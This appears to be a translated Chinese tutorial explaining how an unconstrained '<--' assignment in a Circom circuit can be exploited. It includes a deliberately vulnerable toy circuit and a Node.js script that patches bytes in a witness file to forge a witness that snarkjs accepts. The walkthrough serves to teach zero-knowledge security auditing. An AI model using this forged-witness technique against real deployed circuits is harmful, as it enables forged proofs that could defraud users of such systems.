Circom 中的 <-- 运算符可能很危险,因为它只为信号赋值但不对其进行约束。但是,你实际上该如何为这个漏洞进行漏洞利用编写一个 POC(概念验证)呢?
我们将要破解以下电路:
pragma circom 2.1.8;
template Mul3() {
signal input a;
signal input b;
signal input c;
signal output out;
signal i;
a * b === 1; // Force a * b === 1
i <-- a * b; // i must be equal 1
out <== i * c; // out must equal c since i === 1
}
component main{public [a, b, c]} = Mul3();
将此电路保存为 mul3.circom(代表三个变量相乘)。
该电路似乎强制 a 和 b 的乘积为 1,然后将 1 赋值给 i。
最后,out 被约束为 i * c。既然按理说 i 的值只能是 1,那么 out 必定等于 c。
这里的 bug 在于 <-- 并没有创建一个约束,而是计算一个值并将其赋给 i。实际上,i 可以是我们想要的任何值,它不一定非要是 a * b 或 1。
利用该漏洞的方法是为 i 赋予一个不符合 a * b === 1 的值,从而允许我们设置 out ≠ c。
总而言之,电路编写者 期望 out = c,但我们将打破这个假设。在当前的例子中,并没有造成什么危害,但在实际应用中,如果两个信号拥有相同的值是至关重要的,那么这就会成为一个问题。
但我们实际上该如何创建这个漏洞利用呢?
漏洞利用步骤
生成有效证明
为了给 Circom 电路创建一个证明,我们首先为该电路创建一个 input.json:
{"a": "1", "b": "1", "c": "5"}
这将满足该电路:
a * b === 1; // 1 * 1 === 1
i <-- a * b; // 1 <-- 1 * 1
out <== i * c; // 5 <== 1 * 5;
// out === c as the dev expects
我们使用以下命令将电路编译为 r1cs:
circom mul3.circom --r1cs --wasm --sym
然后,我们使用它创建的 wasm 文件生成一个 witness,并使用 input.json 作为输入:
cd mul3_js/
node generate_witness.js mul3.wasm ../input.json ../witness.wtns
cd ..
我们可以使用以下命令查看 snarkjs 为我们计算出的 witness:
snarkjs wtns export json witness.wtns witness.json
cat witness.json

Witness 信号布局
witness 向量中的第一个条目总是 1。(这在我们之前的 r1cs 文章 中有解释,读者可以参考)。向量中的其余元素是电路中的值。我们可以通过查看 input.json、mul3.sym 和 witness.json 文件来了解哪个元素对应哪个信号:
cat input.json
cat mul3.sym
cat witness.json
我们展示输出,并在下方以 黄色 为 witness.json 文件添加标签:

要利用这个电路,我们想给 i 赋予一个会导致 out ≠ c 的值。然而,Circom 没有提供直接写入非输入信号的机制,而 i 并不是一个输入信号(也许是为了让我们的黑客攻击更困难一些?)。(snarkjs 确实提供了一个 fullprove api,似乎可以做到这一点,但这段代码自 2021 年以来就已经损坏了)。
恶意 witness 示例
一个这样的恶意 witness:
[
"1",
"10", // out
"1", // a
"1", // b
"5", // c
"2" // i
]
这将满足以下约束:
a * b === 1; // 1 * 1 = 1
i <-- a * b; // 2 <-- 1 * 1 is ok because <-- is not a constraint!
out <== i * c; // 10 = 2 * 5;
现在,我们有了一个有效的 witness,snarkjs 将为其创建一个证明:
snarkjs wtns check mul3.r1cs witness.wtns

我们的目标是创建一个满足电路条件,但打破 out = c 预期属性的 witness 文件。
理解 witness.wtns 的布局
witness.wtns 是一个二进制文件。不幸的是,如前所述,Circom 和 snarkjs 并未提供将 json 格式的 witness 向量输出为 .wtns 文件的 API。可以通过查看生成该文件的源代码来确定 .wtns 文件的格式。不过,粗略检查一下二进制文件就足够了。
我们在上面链接的代码中看到它将 Uint8Array 写入文件。因此,让我们使用以下代码将该文件解析为 Uint8Array 并打印出来:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
let data_arr = new Uint8Array(data);
console.dir(data_arr, {'maxArrayLength': null});

无需深究这个 witness.wtns 的格式细节,我们仍然可以看到我们的 witness 值按照与 witness.json 相同的顺序排列!

现在我们已经准备好通过覆盖存储这些信号 i 和 out 值的二进制文件,来创建一个伪造的 witness:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
console.log("Before");
console.dir(data, {'maxArrayLength': null});
data[108] = 10; // `out`
data[236] = 2; // `i`
console.log("After");
console.dir(data, {'maxArrayLength': null});
fs.writeFileSync('exploit_witness.wtns', data);
在运行我们的代码创建伪造 witness 之后,我们可以看到对应 out 和 i 的值已按计划被更改(更改的字节用 红色 框标出,其余未变):

上面的代码还会为我们写入 exploit_witness.wtns 文件,它就是上方打印出来的字节数组。
当我们使用 snarkjs 根据电路验证 exploit_witness.wtns 时:
snarkjs wtns check mul3.r1cs exploit_witness.wtns

该 witness 满足该电路!
从这里开始,我们只需遵循 Circom 文档中的证明步骤 创建伪造的证明以利用该电路。
在 RareSkills 学习更多内容
请查看我们的零知识证明课程以学习 ZK 领域中的更多主题。
原文首发于 3 月 18 日